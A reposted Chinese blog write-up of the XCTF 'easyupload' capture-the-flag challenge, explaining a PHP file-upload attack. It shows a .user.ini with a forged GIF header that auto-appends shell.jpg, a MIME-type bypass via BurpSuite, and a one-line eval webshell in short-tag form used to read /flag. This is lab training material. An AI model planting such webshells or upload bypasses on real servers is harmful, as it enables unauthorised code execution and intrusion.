首页 最新 热门 推荐

  • 首页
  • 最新
  • 热门
  • 推荐

攻防世界 - Web - Level 1 | easyupload

  • 25-02-16 18:00
  • 2142
  • 10882
blog.csdn.net

关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客

0x01:考点速览

本关的考点是 PHP 文件上传漏洞,过关前我们需要知道以下知识:

  • .user.ini 构成后门文件:该文件是一个可以由用户 “自定义” 的 PHP 配置文件。

    • .user.ini 支持动态加载,需要等待 user_ini.cache_ttl 所设置的时间(默认为 300 秒)

    • CTF 常用配置项:

      • auto_append_file=muma.jpg => 在每个文件后面包含指定文件。

      • auto_prepend_file=muma.jpg => 自动包含在要执行的文件前。

  • PHP 中的短开标签 — 当目标过滤包含 php 的内容时,可以使用此方法进行绕过

    • 如果想要 PHP 的短开标签,需要在 php.ini 中找到 short_open_tag 配置,并设置为 On 来开启。 => short_open_tag=On

    • 从 PHP 5.4.0 开始,无论 php.ini 文件中的设置如何,都可以使用短开标签。

  1.  
  2.    echo "Hello PHP!";
  3.  ?>
  4.  ------------------------------> 上下的写法是等价的
  5.   "Hello PHP!"?>

0x02:Write UP

0x0201:.user.ini 文件上传

在本地构造一个.user.ini文件,并上传,文件内容如下(GIF89a 是用于伪造一个文件头,该靶场会检查上传文件的头字节进行过滤;auto_append_file=shell.jpg 是让文件上传目录下的文件都包含 shell.jpg,后续我们会往 shell.jpg 中写入一句话木马):

  1.  // FileName : .user.ini
  2.  GIF89a
  3.  auto_append_file=shell.jpg

这里需要注意,直接上传 .user.ini 是上传不了的,我们还需要用 BurpSuite 拦截请求包,修改文件的 Content-Type 为 image/gif 绕过其后端的 MIME 校验后方可上传成功:

0x0202:shell.jpg 上传并连接

下面我们构造一个 shell.jpg 文件,文件内容如下(可以先用记事本打开,后面再手动更改后缀为 .jpg 即可):

  1.  // FileName : shell.jpg => 这种方式可能会被防火墙拦截,你文件根本上传不了
  2.  GIF89a
  3.   @eval($_POST['hacker']); ?>
  4.  ​
  5.  // 以下是官方推荐的木马写法,但是也有问题,就是我们不知道 Flag 在 /flag 下
  6.  GIF89a
  7.  system('cat /flag');?>

这里没有采用的写法,是因为其后端会过滤php字符串,所以我们就采用 PHP 短开标签来进行包裹代码。

页面提示,文件被上传到了 uploads/shell.jpg 的位置:

在前面的过程中 .user.ini 也被上传到了 uploads 目录下,那很自然的 uploads 目录下的所有 PHP 页面都会包含我们 shell.jpg 中的内容,并以 PHP 方式进行解析执行。

我们可以很容易定位到一个 uploads 目录下的 PHP 文件 uploads/index.php:

访问预览一下,可以看到,文件末尾确实出现了我们写在shell.jpg中的内容,所以包含点找到了(如果未出现,等待 300 秒吧):

然后使用中国蚁剑进行连接 Shell:

进入终端中输入cat /flag即可获取 Flag(有时候靶场不稳定,就多输入几次):

0x03:参考链接

什么是MIME类型_mime类型是什么意思-CSDN博客文章浏览阅读1.1w次,点赞24次,收藏111次。什么是MIME类型根据百度百科的解释:MIME:全称Multipurpose Internet Mail Extensions,多功能Internet邮件扩充服务。它是一种多用途网际邮件扩充协议,在1992年最早应用于电子邮件系统,但后来也应用到浏览器。MIME类型就是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。说白了也就是文件的媒体类型。浏览器可以根据它来区分文件,然后_mime类型是什么意思http://iyenn.com/rec/1646245.html?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522170884915716800215096249%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=170884915716800215096249&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-109301682-null-null.142%5Ev99%5Epc_search_result_base3&utm_term=MIME%E7%B1%BB%E5%9E%8B&spm=1018.2226.3001.4187
PHP中的短开标签“在PHP中会使用“https://www.php.cn/faq/415762.html
注:本文转载自blog.csdn.net的Blue17 :: Hack3rX的文章"https://blog.csdn.net/m0_73360524/article/details/144337952"。版权归原作者所有,此博客不拥有其著作权,亦不承担相应法律责任。如有侵权,请联系我们删除。
复制链接
复制链接
相关推荐
发表评论
登录后才能发表评论和回复 注册

/ 登录

评论记录:

未查询到任何数据!
回复评论:

分类栏目

后端 (14832) 前端 (14280) 移动开发 (3760) 编程语言 (3851) Java (3904) Python (3298) 人工智能 (10119) AIGC (2810) 大数据 (3499) 数据库 (3945) 数据结构与算法 (3757) 音视频 (2669) 云原生 (3145) 云平台 (2965) 前沿技术 (2993) 开源 (2160) 小程序 (2860) 运维 (2533) 服务器 (2698) 操作系统 (2325) 硬件开发 (2491) 嵌入式 (2955) 微软技术 (2769) 软件工程 (2056) 测试 (2865) 网络空间安全 (2948) 网络与通信 (2797) 用户体验设计 (2592) 学习和成长 (2593) 搜索 (2744) 开发工具 (7108) 游戏 (2829) HarmonyOS (2935) 区块链 (2782) 数学 (3112) 3C硬件 (2759) 资讯 (2909) Android (4709) iOS (1850) 代码人生 (3043) 阅读 (2841)

热门文章

101
推荐
关于我们 隐私政策 免责声明 联系我们
Copyright © 2020-2025 蚁人论坛 (iYenn.com) All Rights Reserved.
Scroll to Top